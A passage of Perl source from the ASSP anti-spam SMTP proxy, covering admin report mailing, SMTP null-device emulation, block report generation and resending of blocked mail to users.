    $subject=~s/\s*(.*)\s*/$1 $sub/o;
    $this->{subject}=$subject;
    undef $/;
    $this->{body}="Report from: $user\r\n" if $user;
    $this->{body}.=<$RM> if fileno($RM);
    $this->{body}.= ref $bod ? $$bod : $bod;
    close $RM if fileno($RM);
    $this->{body}=~s/\r?\n/\r\n/go;
    $this->{body}=~s/[\r\n\.]+$//o;
    $this->{subject}=~s/\r?\n?//go;
    my $spamsub=$spamSubject;
    if($spamsub) {
        $spamsub=~s/(\W)/\\$1/go;
        $this->{subject}=~s/$spamsub *//gi;
    }

}


sub ReportIncludes {
    my $file = shift;
    $file = "$base/$file";
    open (my $F ,'<', $file) or return;
    my @ret;
    while (<$F>) {
        s/^$UTF8BOMRE//o;
        next unless /\s*#\s*include\s+([^\r\n]+)\r?\n/io;
        my $ifile = $1;
        $ifile =~ s/([^\\\/])[#;].*/$1/go;
        $ifile =~ s/[\"\']//go;
        push @ret , $ifile;
        my @inc = ReportIncludes($ifile);
        push @ret, @inc if @inc;
    }
    close $F;
    return @ret;
}

sub AdminReportMail {

    my($sub,$bod,$to)=@_;
    return if !$to;
    $to = &batv_remove_tag(0,$to,'');
    
    my $s;
    my $AVa;
    my $destination = $smtpDestination;
    $destination = $EmailReportDestination if $EmailReportDestination;
	$destination |= $sendAllDestination if $sendAllDestination;
	mlog(0,"error: destination for reports is not set, please configure EmailReportDestination...",1) if !$destination;
	return if !$destination;

    $AVa = 0;
    foreach my $destinationA (split(/\|/o, $destination)) {
        if ($destinationA =~ /^(_*INBOUND_*:)?(\d+)$/o){
        	
        	if ( $crtable{$localip} ) {
                $destinationA = $crtable{$localip};
                $destinationA .=  ":$2" if $destinationA !~ /:/;
            } else {
            	$localip = '127.0.0.1';
                $destinationA = $localip . ':' . $2;
               	mlog(0,"warning: destination for reports is $destinationA, please configure EmailReportDestination...",1);
 
            }



        }
        
        $destinationA=~ s/\[::1\]/127\.0\.0\.1/ ;
		$destinationA=~ s/localhost/127\.0\.0\.1/i ;
		
        if ($AVa<1) {
            $s = $CanUseIOSocketINET6
                 ? IO::Socket::INET6->new(Proto=>'tcp',PeerAddr=>$destinationA,Timeout=>2,&getDestSockDom($destinationA))
                 : IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>$destinationA,Timeout=>2);
            if($s) {
                $AVa=1;
                $destination=$destinationA;
            }
            else {
                mlog(0,"*** $destinationA didn't work, trying others...") if $SessionLog;
            }
        }

    }
    if(! $s) {
        mlog(0,"couldn't create server socket to '$destination' -- aborting AdminReport connection ");
        
        return;
    }
    eval {addfh($s,\&RMhelo);};
    my $this=$Con{$s};
    $this->{to}=$to;
    $this->{from}=$EmailFrom;

    local $/="\n";

    $this->{subject}=$sub;
    $this->{subject}=~s/\r?\n?//go;
    undef $/;

    $this->{body} = ref $bod ? $$bod : $bod;
    $this->{body} =~ s/[\r\n\.]+$//o;

    
}

sub RMhelo { my ($fh,$l)=@_;
    if($l=~/^ *220 /o) {
        sendque($fh,"HELO $myName\r\n");
        $Con{$fh}->{getline}=\&RMfrom;
    } elsif ($l=~/^ *220-/o) {
    } else {
        RMabort($fh,"helo Expected 220, got: $l (from:$Con{$fh}->{from} to:$Con{$fh}->{to})");
    }
}
sub RMfrom { my ($fh,$l)=@_;
    if($l=~/^ *250 /o) {
        sendque($fh,"MAIL FROM: ".($Con{$fh}->{from}=~/(<[^<>]+>)/o ? $1 : $Con{$fh}->{from})."\r\n");
        $Con{$fh}->{getline}=\&RMrcpt;
    } elsif ($l=~/^ *250-/o) {
    } else {
        RMabort($fh,"from Expected 250, got: $l (from:$Con{$fh}->{from} to:$Con{$fh}->{to})");
    }
}
sub RMrcpt { my ($fh,$l)=@_;
    if($l!~/^ *250/o) {
        RMabort($fh,"rcpt Expected 250, got: $l (from:$Con{$fh}->{from} to:$Con{$fh}->{to})");
    } else {
        sendque($fh,"RCPT TO: <$Con{$fh}->{to}>\r\n");
        $Con{$fh}->{getline}=\&RMdata;
    }
}
sub RMdata { my ($fh,$l)=@_;
    if($l!~/^ *250/o) {
        RMabort($fh,"data Expected 250, got: $l (from:$Con{$fh}->{from} to:$Con{$fh}->{to})");
    } else {
        sendque($fh,"DATA\r\n");
        $Con{$fh}->{getline}=\&RMdata2;
    }
}
sub RMdata2 { my ($fh,$l)=@_;
    if($l!~/^ *354/o) {
        RMabort($fh,"data2 Expected 354, got: $l");
    } else {
        my $date=$UseLocalTime ? localtime() : gmtime();
        my $tz=$UseLocalTime ? tzStr() : '+0000';
        $date=~s/(\w+) +(\w+) +(\d+) +(\S+) +(\d+)/$1, $3 $2 $5 $4/o;
        my $this=$Con{$fh};
        my $msgid = int(rand(1000000));

        sendque($fh,<<EOT);
From: $this->{from}\r
To: $this->{to}\r
Subject: $this->{subject}\r
X-Assp-Report: YES\r
Date: $date $tz\r
Message-ID: a$msgid\@$myName\r
\r
$this->{body}\r
.\r
EOT
        $Con{$fh}->{getline}=\&RMquit;
    }
}
sub RMquit { my ($fh,$l)=@_;
    if($l!~/^ *250/o) {
        RMabort($fh,"quit Expected 250, got: $l");
    } else {
        sendque($fh,"QUIT\r\n");
        $Con{$fh}->{getline}=\&RMdone;
        $Con{$fh}->{type} = 'C';          # start timeout watching for case 221/421 will not be send
        $Con{$fh}->{timelast} = time();
        $Con{$fh}->{nodelay} = 1;
    }
}
sub RMdone { my ($fh,$l)=@_;
    if($l!~/^ *[24]21/o) {
        RMabort($fh,"done Expected 221 or 421, got: $l");
    } else {
        mlog(0,"info: report successful sent to ".$Con{$fh}->{to}) if $ReportLog;
        done2($fh); # close and delete
    }
}

sub RMabort {mlog(0,"RMabort: $_[1] - report to ". $Con{$_[0]}->{to}); done2($_[0]);}

####################  Null-Device emulation #################################

sub NullHelo {
    my ( $fh, $l ) = @_;
    ( $Con{$fh}->{lastcmd} ) = $l =~ /^([^\s]+)/;
    push( @{ $Con{$fh}->{cmdlist} }, $Con{$fh}->{lastcmd} )
      if $ConnectionLog >= 2;
    if ( $l =~ /^HELO|EHLO/i ) {
        sendque( $fh, "220 OK - $myName ready\r\n" );
        $Con{$fh}->{getline} = \&NullFromToData;
    } else {
        Nullabort( $fh, "helo expected, got: $l" );
    }
}

sub NullFromToData {
    my ( $fh, $l ) = @_;
    d('NullFromToData');
    ( $Con{$fh}->{lastcmd} ) = $l =~ /^([^\s]+)/;
    push( @{ $Con{$fh}->{cmdlist} }, $Con{$fh}->{lastcmd} )
      if $ConnectionLog >= 2;
    if ( $l =~ /^DATA/i ) {
        $Con{$fh}->{getline} = \&NullData;
        sendque( $fh, "354 send data\r\n" );
    } elsif ( $l =~ /^HELO|EHLO/i ) {
        sendque( $fh, "220 OK - $myName ready\r\n" );
    } elsif ( $l =~ /^RSET/i ) {
        &stateReset($fh);
        sendque( $Con{$fh}->{friend}, "RSET\r\n" );
        $Con{$fh}->{getline} = \&getline;
    } elsif ( $l =~ /^STARTTLS/i ) {
        sendque( $fh, "500 Syntaxerror\r\n" );
    } elsif ( $l =~ /^QUIT/i ) {

# V1?        NoLoopSyswrite($fh,"221 $myName SMTP Service closing transmission channel\r\n");
        done($fh);    # close and delete
    } else {
        sendque( $fh, "250 OK\r\n" );
    }
}

sub NullData {
    my ( $fh, $l ) = @_;
    d('NullData');
    $Con{$fh}->{headerpassed} = 1;
    $Con{$fh}->{header} .= $l unless ( $Con{$fh}->{header} eq 'NULL' );
    $Con{$fh}->{maillength} += length($l);
    if ( $l =~ /^\.[\r\n]/
        || defined( $Con{$fh}->{bdata} ) && $Con{$fh}->{bdata} <= 0 )
    {
        sendque( $fh, "250 OK\r\n" );
        $Con{$fh}->{getline} = \&NullFromToData;

        #        open - print - close;
        #        &MailLogStart($fh);
    }
}
sub Nullabort { mlog( 0, "Nullabort: $_[1]" ); done( $_[0] ); }


############################################ blockreport ###################

sub blockMainLoop2 {
    my $fh = shift;
    return if ($isThreaded);
    &MainLoop2();  # only in V1
}

############################################ blockreport ###################

sub BlockReportSend {
     my ( $fh, $to, $for, $subject, $bod ) = @_;
    my $RM;
    my $this     = $Con{$fh};
    my $mailfrom = $this->{mailfrom};

    $mailfrom = $EmailFrom if ( lc $mailfrom eq lc $EmailAdminReportsTo );

    if (! $CanUseNetSMTP) {
        mlog(0,"error: Perl module Net::SMTP is not installed or disabled in configuration - assp is unable to send the BlockReport");
        return;
    }
    
    $bod     =~ s/\r?\n/\r\n/go;
    $subject =~ s/\r?\n?//go;

    my $destination;
    my $local = 1;
    if ( $EmailReportDestination ne '' ) {
        $destination = $EmailReportDestination;
    } else {
        $destination = $smtpDestination;
        if (! localmail($to) && $relayHost) {
            $destination = $relayHost;
            $local = 0;
        }
    }

    my $smtp;
    my $MTA;
    foreach $MTA ( split( /\|/o, $destination ) ) {
        if ( $MTA =~ /^(_*INBOUND_*:)?(\d+)$/o ) {
            $localip = '127.0.0.1';
            $MTA     = $localip . ':' . $2;
        }
        eval {
            $smtp = Net::SMTP->new(
                $MTA,
                Hello   => $myName,
                Timeout => 120   # 120 is the default in Net::SMTP
            );
            if ($smtp) {
                $smtp->mail($mailfrom);
                $smtp->to($to);
                $smtp->data();
                $smtp->datasend("To: $to\r\n");
                $smtp->datasend("From: $mailfrom\r\n");
                $smtp->datasend("Subject: $subject\r\n");
                $smtp->datasend($bod . "\r\n");
                $smtp->dataend();
                $smtp->quit;
            }
        };
        if ( $smtp && !$@ ) {
            mlog( 0, "info: sent block report for $for to $to at $MTA" )
              if $ReportLog >= 2;
            last;
        }
    }
    if ( !$smtp or $@ ) {
        mlog( 0, "error: couldn't send block report for $for to $to at $destination - $@") if $ReportLog;
    }
}

sub BlockedMailResend {
    my ( $fh, $filename , $special) = @_;
    my $this = $Con{$fh};
    my $infile;
    my $outfile;
    my $pastheader;
    my $sender;
    d("BlockedMailResend - $filename");

    return unless ($resendmail);
    return unless ($CanUseEMS);

    $special =~ s/[(\[][^(\[)\]]*[)\]]//io;
    my ($resfile) = $filename =~ /([^\\|\/]+\Q$maillogExt\E)$/i;
    my $fname = $resfile;
    my $corrNotSpamFile = "$base/$correctednotspam/$resfile";
    $resfile = "$base/$resendmail/$resfile";
    if ( $filename !~ /[\\|\/]+$spamlog[\\|\/]+/ ) {
        $corrNotSpamFile = '';
    }
    unless ($open->($outfile,'>' ,$resfile)) {
        mlog( 0, "error: unable to open output file ".de8($resfile)." - $!" ) if $ReportLog;
        return;
    }
    my $foundDir;
    if (!($open->($infile,'<',$filename)) && !$doMove2Num) {    # if the original file is not found, try to find it anywhere
        foreach ($spamlog,$discarded,$notspamlog,$incomingOkMail,$viruslog,$correctedspam,$correctednotspam,
                 "rebuild_error/$spamlog","rebuild_error/$notspamlog","rebuild_error/$correctedspam","rebuild_error/$correctednotspam") {
            next unless $_;
            ($open->($infile,'<',"$base/$_/$fname")) and ($foundDir = $_) and last;
        }
    }
    unless ( $infile->fileno ) {
        mlog( 0, "error: can't open requested file ".de8($fname)." in any collection folder" ) if $ReportLog;
        local $/ = "\r\n";
        $filename =~ s/^.*?\/?([^\/]*\/?[^\/]+)$/$1/o;
        $outfile->print( <<EOT );
From: $EmailFrom
To: $this->{mailfrom}
Subject: failed - request ASSP to resend blocked mail

The requested email-file $filename no longer exists on ASSP-host $myName.
Please contact your email adminstrator, if you need more information.

.
EOT
        $outfile->close;
        undef local $/;
        $nextResendMail =
          $nextResendMail < time + 3 ? $nextResendMail : time + 3;
        return;
    }

    my $foundRecpt;
    $foundRecpt = 1
      if ( matchSL( $this->{mailfrom}, 'EmailAdmins', 1 )
        or lc( $this->{mailfrom} ) eq lc($EmailAdminReportsTo)
        or lc( $this->{mailfrom} ) eq lc($EmailBlockTo) );

    $foundDir = $viruslog if (! $foundDir && $viruslog && $filename =~ /^$base\/$viruslog\//);
    if (!$foundRecpt && $viruslog && $foundDir eq $viruslog) {
        mlog( 0, "warning: resend for file $filename denied - found it in viruslog folder $viruslog" ) if $ReportLog;
        local $/ = "\r\n";
        $filename =~ s/^.*?\/?([^\/]*\/?[^\/]+)$/$1/o;
        $outfile->print( <<EOT );
From: $EmailFrom
To: $this->{mailfrom}
Subject: denied - request ASSP to resend blocked mail

The requested email-file $filename on ASSP-host $myName possibly contains a virus!
Please contact your email adminstrator, if you need more information.

.
EOT
        $outfile->close;
        undef local $/;
        $nextResendMail =
          $nextResendMail < time + 3 ? $nextResendMail : time + 3;
        return;
    }
    $outfile->binmode;
    my $lastline;
    my $Skip; $Skip = 1 if $foundRecpt;
    while ( my $line = (<$infile>)) {
        my $text;
        my $adr;
        $line =~ s/\r|\n//go;
        next if !$Skip && $line =~ /X-Assp-Intended-For/io;
        if ( !$pastheader ) {
            if ( $line =~ /([^:]+)(:).*?($EmailAdrRe\@$EmailDomainRe)/o ) {
                $text = $1 . $2;
                $adr  = $3;
                $sender = lc($adr) if ( $text =~ /^from:/io );
                next if (!$Skip && ( $text =~ /^cc:/io or $text =~ /^bcc:/io ) );
                next if (!$Skip && ( $text =~ /^to:/io
                        && lc($adr) ne lc( $this->{mailfrom} ) ));
                next if ($text =~ /^to:/io && ! &localmail($adr));
                $foundRecpt = 2 if ( $text =~ /^to:/io
                                     && lc($adr) eq lc( $this->{mailfrom} ) );
                $foundRecpt = 2 if ( $text =~ /^to:/io && $Skip );
            }
        }
        if ( $line eq '' && !$pastheader ) {
            $pastheader = 1;
            if ( $foundRecpt < 2 ) {
                $outfile->print( "To: <$this->{mailfrom}>\r\n");
                $foundRecpt = 2;
            }
            $outfile->print("X-Assp-Resend-Blocked: $myName\r\n");
        }
        $outfile->print("$line\r\n");
        $lastline = 1 if ( $line eq '.' );
    }
    $outfile->print("\r\n.\r\n") unless $lastline;
    $infile->close;
    $outfile->close;

    if ( $autoAddResendToWhite && $sender && !&localmail($sender)) {
        if (   matchSL( $this->{mailfrom}, 'EmailAdmins', 1 )
            or lc( $this->{mailfrom} ) eq lc($EmailAdminReportsTo)
            or lc( $this->{mailfrom} ) eq lc($EmailBlockTo) )
        {
            if ( $autoAddResendToWhite > 1 && $special !~ /(?:don'?t|no)[^,]*whit/io ) {
                &Whitelist($sender,undef,'add');
                mlog( 0, "info: whitelist addition on resend: $sender" )
                  if $ReportLog;
            }
        } elsif ( $autoAddResendToWhite != 2 && $special !~ /(?:don'?t|no)[^,]*whit/io ) {
            &Whitelist($sender,undef,'add');
            mlog( 0, "info: whitelist addition on resend: $sender" )
              if $ReportLog;
        }
    }

    if ( $corrNotSpamFile && $DelResendSpam && $special !~ /(?:don'?t|no)[^,]*(?:del|rem|move)/io) {
        $filename =~ s/\\/\//go;
        $corrNotSpamFile =~ s/\\/\//go;
        if (   matchSL( $this->{mailfrom}, 'EmailAdmins', 1 )
            or lc( $this->{mailfrom} ) eq lc($EmailAdminReportsTo)
            or lc( $this->{mailfrom} ) eq lc($EmailBlockTo) )
        {
            $move->( $filename, $corrNotSpamFile ) and $ReportLog or
            mlog(0,"error: unable to move $filename to $corrNotSpamFile - $!" );
        } else {
            $unlink->($filename) and $ReportLog or
            mlog(0,"error: unable to delete $filename - $!" );
        }
    }
    $nextResendMail = $nextResendMail < time + 3 ? $nextResendMail : time + 3;
}

sub BlockReportGen {
    my ( $now, $brfile ) = @_;
    srand(time);
    my $fh = int( rand(time) );    # a dummy $fh for a dummy $Con{$fh}
    my $filename;
    my $number;
    my @lines;
    my $userq;
    d('BlockReportGen');
	return unless $CanUseNetSMTP;
    ($filename) = $BlockReportFile =~ /file:(.+)/io if $BlockReportFile;
    if ( $now eq 'USERQUEUE' ) {
        $now      = '';
        $userq    = 1;
        $filename = "files/UserBlockReportQueue.txt";
    }
    if ( $now eq 'INSTANTLY' ) {
        $now      = '';
        $userq    = 1;
        $filename = "files/UserBlockReportInstantQueue.txt";
    }

    $filename =
      $brfile
      ? "email block report list request from " . $Con{$brfile}->{mailfrom}
      : "$base/$filename";
    if ( ! $brfile ) {
        return if ! -e "$filename" or -d "$filename" or ! (open $brfile,'<' ,"$filename");
    }
   # mlog( 0, "info: generating block reports from $filename" );

    my $BlModify;
    if (eval('use BlockReport::modify; BlockReport::modify::modify(); 1;')) {
        mlog(0,"info: BlockReport will call the module BlockReport::modify to make your custom changes") if $ReportLog > 1;
        $BlModify = \&BlockReport::modify::modify;
    } else {
        mlog(0,"info: BlockReport was unable to call the module BlockReport::modify - $@") if $ReportLog > 2;
        $BlModify = sub {return shift;};
    }

    while (<$brfile>) {
        s/\r|\n//go;
        my $cline = $_;
        my $comment; $comment = $1 if s/\s*#(.*)//go;

        if ( !$_ ) {
            push( @lines, $cline );
            next;
        }

        my $entrytime;
        if ( $comment =~ /^\s*next\srun\s*\:\s*(\d+)[\-|\.](\d+)[\-|\.](\d+)/o )
        {
            my $year = $1;
            $year += $year < 100 ? 2000 : 0;
            eval { $entrytime = timelocal( 0, 0, 0, $3, $2 - 1, $1 - 1900 ); };
            if ($@) {
                mlog( 0,"error: wrong syntax in next-run-date (yyyy-mm-dd) at line <$cline> in $filename - $@")
                 if $ReportLog;
                $entrytime = 0;
            }
            if ( time < $entrytime && !$now ) {
                push( @lines, $cline );
                next;
            }
        }
        my ( $addr, $to, $numdays, $exceptRe, $sched) = split( /\=\>/o, $_ );
        if ( $addr =~ /^\s*\#/o ) {
            push( @lines, $cline );
            next;
        }
        $to = '' if ( $to =~ /\s*\*\s*/o );
        if ( $to && $to !~ /\s*($EmailAdrRe\@$EmailDomainRe)\s*/go ) {
            mlog( 0,"error: syntax error in send to address in $filename in entry $_" )
             if $ReportLog;
            push( @lines, $cline );
            next;
        }
        $to = $1 if $to =~ /\s*($EmailAdrRe\@$EmailDomainRe)\s*/go;
        ($numdays) = $numdays =~ /\s*(\d+)\s*/o;
        $numdays = 1 unless $numdays;
        if ( $addr !~ /.*?(\[?$EmailAdrRe|\*)\@($EmailDomainRe\]?|\*)/go ) {
            mlog( 0,"error: syntax error in report address '$addr' in BlockReportFile ");
            push( @lines, $cline );
            next;
        }

        if ( !$now ) {
            if ( !$entrytime ) {
                my $time = time;
                my $dayoffset = $time % ( 24 * 3600 );
                $entrytime = $time - $dayoffset;
            }
            $entrytime = $numdays * 24 * 3600 + $entrytime;
            my (
                $second,    $minute,    $hour,
                $day,       $month,     $yearOffset,
                $dayOfWeek, $dayOfYear, $daylightSavings
            ) = localtime($entrytime);
            my $year = 1900 + $yearOffset;
            $month++;
            if ($userq) {
                if (! $sched && $comment =~ /^\s*next\srun\s*\:\s*\d+[\-|\.]\d+[\-|\.]\d+/o ) {
                    push( @lines, "$_ # next run: $year-$month-$day" );
                } elsif ($sched) {
                    $comment =~ s/^\s*next\srun\s*\:\s*\d+[\-|\.]\d+[\-|\.]\d+//o;
                    push( @lines, $comment ? "$_ # $comment" : $_ );
                } else {
                    push( @lines, $cline );
                }
            } else {
                if ($sched) {
                    $comment =~ s/^\s*next\srun\s*\:\s*\d+[\-|\.]\d+[\-|\.]\d+//o;
                    push( @lines, $comment ? "$_ # $comment" : $_ );
                } else {
                    push( @lines, "$_ # next run: $year-$month-$day" );
                }
            }
        } else {
            push( @lines, $cline );
        }
        if ($sched && ! $RunTaskNow{BlockReportNow}) {
            next;
        }
        my $mto;
        $mto = "to send it to $to" if $to;
        my $mfor = $addr;
        $mfor = "Group $addr" if $addr =~ /\[/o;
        mlog( 0, "info: generating block reports ($numdays) for $mfor $mto" )
          if $ReportLog >= 2;
        $Con{$fh}->{mailfrom} = $EmailAdminReportsTo;    # set to get all lines
        $Con{$fh}->{header} = "$addr=>$to=>$numdays=>$exceptRe\r\n";
        my $isGroup = $addr =~ s/\[(.+)\]/$1/o;

        my %user;
        &BlockReasonsGet( $fh, $numdays , \%user, $exceptRe);
        my @textreasons;
        my @htmlreasons;
        my $count;

        push( @textreasons, $user{sum}{textparthead} );
        push( @htmlreasons, $user{sum}{htmlparthead} );
        push( @htmlreasons, $user{sum}{htmlhead} );
        foreach  my $ad ( sort keys %user ) {
            next if ( $ad eq 'sum' );
            $number = scalar @{ $user{$ad}{text} } + $user{$ad}{correct};
            $number = 0 if $number < 0;
            $count += $number;
            $number = 'no' unless $number;
            my $rcpt = $to;
            if ( $addr !~ /\*/o or ( $addr =~ /\*/o and !$to ) ) {
                $rcpt = $to ? $to : $addr;
                $rcpt = $rcpt =~ /\*/o ? $ad : $rcpt;
            }
            push( @textreasons,
                &BlockReportText( 'text', $ad, $numdays, $number, $rcpt ) );
            my $userhtml =
              &BlockReportText( 'html', $ad, $numdays, $number, $rcpt );
            push( @htmlreasons,  BlockReportHTMLTextWrap(<<"EOT"));
<table id="report">
 <col /><col /><col />
 <tr>
  <th colspan="3" id="header">
   <img src=cid:1001 alt="powered by ASSP on $myName">
   $userhtml
  </th>
 </tr>
EOT
            while ( @{ $user{$ad}{text} } ) { push( @textreasons, shift @{ $user{$ad}{text} } ); }
            while ( @{ $user{$ad}{html} } ) { push( @htmlreasons, BlockReportHTMLTextWrap(shift @{ $user{$ad}{html} })); }
            if ( ($addr !~ /\*/o && ! $isGroup) or ( $addr =~ /\*/o and !$to ) ) {
                push( @textreasons, $user{sum}{text} );
                push( @htmlreasons, $user{sum}{html} );
                @textreasons = () if ( $BlockReportFormat == 2 );
                @htmlreasons = () if ( $BlockReportFormat == 1 );
                BlockReportSend(
                    $fh,
                    $rcpt,
                    $ad,
                    &BlockReportText( 'sub', $ad, $numdays, $number, $rcpt ),
                    $BlModify->($user{sum}{mimehead}
                      . join( '', @textreasons )
                      . join( '', @htmlreasons )
                      . $user{sum}{mimebot})
                ) if $count;
                @textreasons = ();
                @htmlreasons = ();

                push( @textreasons, $user{sum}{textparthead} );
                push( @htmlreasons, $user{sum}{htmlparthead} );
                push( @htmlreasons, $user{sum}{htmlhead} );
                $count = 0;
                next;
            }
        }
        if ($count) {
            push( @textreasons, $user{sum}{text} );
            push( @htmlreasons, $user{sum}{html} );
            @textreasons = () if ( $BlockReportFormat == 2 );
            @htmlreasons = () if ( $BlockReportFormat == 1 );
            BlockReportSend(
                $fh,
                $to,
                $addr,
                &BlockReportText( 'sub', $addr, $numdays, $count, $to ),
                $BlModify->($user{sum}{mimehead}
                  . join( '', @textreasons )
                  . join( '', @htmlreasons )
                  . $user{sum}{mimebot})
            );
        } else {
            if ( $addr =~ /\*/o and $to ) {
                my $for = $addr;
                $addr =~ s/\*\@//o;
                push( @textreasons,
"---------------------------------- $addr -----------------------------------\n\n"
                );
                push( @htmlreasons,BlockReportHTMLTextWrap(
"---------------------------------- $addr -----------------------------------<br />\n<br />\n")
                );
                push( @textreasons,
"\nno blocked email found for domain $addr in the last $numdays day(s)\n\n"
                );
                push( @htmlreasons,
"<br />\nno blocked email found for domain $addr in the last $numdays day(s)<br />\n<br />\n"
                );
                push( @textreasons, $user{sum}{text} );
                push( @htmlreasons, $user{sum}{html} );
                @textreasons = () if ( $BlockReportFormat == 2 );
                @htmlreasons = () if ( $BlockReportFormat == 1 );
                BlockReportSend(
                    $fh,
                    $to,
                    $for,
                    &BlockReportText( 'sub', $for, $numdays, $number, $to ),
                    $BlModify->($user{sum}{mimehead}
                      . join( '', @textreasons )
                      . join( '', @htmlreasons )
                      . $user{sum}{mimebot})
                );
            }
        }
        mlog( 0,
            "info: finished generating block reports ($numdays) for $addr $mto"
        ) if $ReportLog >= 2;

        @textreasons = ();
        @htmlreasons = ();
        %user        = ();
        delete $Con{$fh};
    }
    close $brfile;
    delete $Con{$fh};
    $filename="$base/$filename" if $filename!~/^\Q$base\E/io;
    if ( !$now && (open $brfile,'>' ,"$filename")) {
        binmode $brfile;
        print $brfile join("\n",@lines);
        print $brfile "\n";
        close $brfile;
    } elsif (! $now && $!) {
        mlog(0,"warning: error writing file $base/$filename - $!");
    }
    eval('no BlockReport::modify;');
}

sub BlockReasonsGet {
    my ( $fh, $numdays , $buser, $exceptRe) = @_;
    my $this = $Con{$fh};
    d("BlockReasonsGet - numdays: $numdays - exceptRe: $exceptRe",1);
    my $isadmin = 0;
    my @to;
    my @from;
    my $toRe;
    my $fromRe;
    my %exceptRe;
    my $webAdminPort = [split(/\s*\|\s*/o,$webAdminPort)]->[0];
    $webAdminPort =~ s/\s//go;
    $webAdminPort = $1 if $webAdminPort =~ /^$HostPortRe\s*:\s*(\d+)/o;
    my $prot =  $enableWebAdminSSL && $CanUseIOSocketSSL? 'https' : 'http';
    my $host = $BlockReportHTTPName ? $BlockReportHTTPName : $localhostname ? $localhostname : 'please_define_BlockReportHTTPName';
    my $BRF = ($BlockReportFilter) ? $BlockReportFilterRE : '';
    $exceptRe =~ s/\$BRF/$BRF/ig;
    $exceptRe =~ s/BRF/$BRF/g;
    $exceptRe =~ s/\|\|+/\|/go;
    $exceptRe =~ s/^\|//o;
    $exceptRe =~ s/\|$//o;
    my $mimetime=$UseLocalTime ? localtime() : gmtime();
    my $tz=$UseLocalTime ? tzStr() : '+0000';
    $mimetime=~s/... (...) +(\d+) (........) (....)/$2 $1 $4 $3/o;
    $EmailBlockReportDomain = '@' . $EmailBlockReportDomain
      if $EmailBlockReportDomain && $EmailBlockReportDomain !~ /^\@/o;
    my $relboundary = '=======_00_ASSP_1298347655_======';
    my $boundary    = '=======_01_ASSP_1298347655_======';
    my $mimehead    = <<"EOT";
Date: $mimetime $tz
MIME-Version: 1.0
EOT
    $mimehead .= <<"EOT" if ( $BlockReportFormat != 1 );
Content-Type: multipart/related;
	boundary=\"$relboundary\"

--$relboundary
EOT
    $mimehead .= <<"EOT";
Content-Type: multipart/alternative;
	boundary=\"$boundary\"

EOT
    my $mimebot .= "\r\n--$boundary--\r\n";
    $mimebot .= <<"EOT" . &BlockReportGetImage('blockreport.gif') . "\r\n" if ( $BlockReportFormat != 1 );

--$relboundary
Content-Type: image/gif
Content-ID: <1001>
Content-Transfer-Encoding: base64

EOT

    $mimebot .= <<"EOT" . &BlockReportGetImage('blockreporticon.gif') . <<"EOT2" if ( $BlockReportFormat != 1 );

--$relboundary
Content-Type: image/gif
Content-ID: <1000>
Content-Transfer-Encoding: base64

EOT
--$relboundary--

EOT2

    my $textparthead = <<"EOT";

--$boundary
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: Quoted-Printable

EOT

    if ( $BlockReportFormat == 0 ) {
        $textparthead .= <<"EOT";
For a better view of this email - please enable html in your client!

EOT
    }

    my $htmlparthead = ($LogCharset !~ /^utf-?8/io) ? <<"EOT1" : <<"EOT2";

--$boundary
Content-Type: text/html; charset=US-ASCII
Content-Transfer-Encoding: Quoted-Printable

EOT1

--$boundary
Content-Type: text/html; charset=utf-8
Content-Transfer-Encoding: Quoted-Printable

EOT2
    my $htmlhead = &BlockReportHTMLTextWrap(<<'EOT' . <<"EOT1" . &BlockReportGetCSS() . <<'EOT2');

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
  "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
EOT
<title>Spam filtering block report from $myName</title>
EOT1
</head>
<body>
EOT2
    if (   matchSL( $this->{mailfrom}, 'EmailAdmins', 1 )
        or lc( $this->{mailfrom} ) eq lc($EmailAdminReportsTo)
        or lc( $this->{mailfrom} ) eq lc($EmailBlockTo) )
    {
        $isadmin = 1;
        my %hfrom = ();
        my %hto = ();
        foreach (split( "\r\n", $this->{header} )) {
            if (/^(.*?)((?:\[?$EmailAdrRe|\*)\@(?:$EmailDomainRe\]?|\*))(.*)$/o) {
                my $text = $1;
                my $addr = $2;
                my $how  = $3;
                next if $text =~ /:/o;
                next if $text =~ /^\s*#/o;
                next if $text =~ /=>/o;
                my @adr;
                if ($addr =~ s/^\[(.+)\]$/$1/o) {
                    @adr = map {s/^\s+//o;s/\s+$//o;$_;} split(/\|/o,$GroupRE{lc $addr});
                } else {
                    push @adr, $addr;
                }
                while (@adr) {
                    $addr = shift @adr;
                    if ( $addr !~ /\@\*/o && ! &localmail($addr) ) {
                        if ( $how =~ /^\s*=>\s*$EmailAdrRe\@$EmailDomainRe/o ) {
                            push( @from , lc($addr) ) unless $hfrom{ lc($addr) };
                            $hfrom{ lc($addr) } = 1;
                        } else {
                            mlog( 0,"warning: ignoring entry: $_ for report - no recipient defined")
                              if $ReportLog;
                        }
                    } else {
                        push (@to , lc($addr) ) unless $hto{ lc($addr) };
                        $hto{ lc($addr) } = 1;
                        $isadmin = 0
                          if ( $how =~ /^\s*=>\s*($EmailAdrRe\@$EmailDomainRe)/o &&
                             ! ( lc( $1 ) eq lc($EmailAdminReportsTo) or
                                 lc( $1 ) eq lc($EmailBlockTo) or
                                 matchSL( $1, 'EmailAdmins', 1 )
                               )
                             );
                        $isadmin = 'user'
                          if ( $how !~ /^\s*=>\s*$EmailAdrRe\@$EmailDomainRe/o );


                        $addr = lc $addr;
                        $addr =~ s/\*\@/$EmailAdrRe\@/go;
                        $addr =~ s/\@\*/\@$EmailDomainRe/go;
                        if ( $how =~ /^\s*=>.*?=>.*?=>\s*(.*?)\s*$/o && $1) {
                            my $ere = $1;
                            $ere =~ s/\$BRF/$BRF/ig;
                            $ere =~ s/BRF/$BRF/g;
                            $ere =~ s/\|\|+/\|/go;
                            $ere =~ s/^\|//o;
                            $ere =~ s/\|$//o;
                            $exceptRe{$addr} = $ere if $ere;
                            $exceptRe{$addr} .=  '|' . $exceptRe if ($exceptRe && $exceptRe ne $ere);
                        } else {
                            $exceptRe{$addr} = $exceptRe if ($exceptRe);
                        }
                    } # end else
                } # end while
            } # end record
        } # end forech
        $toRe  =  BlockReportFormatAddr(@to);
        $fromRe = BlockReportFormatAddr(@from);
        if ( !($toRe or $fromRe) && $this->{mailfrom}) {
            if( $GroupRE{lc $this->{mailfrom}} ) {
                @to = map {s/^\s+//o;s/\s+$//o;$_;} split(/\|/o,$GroupRE{lc $this->{mailfrom}});
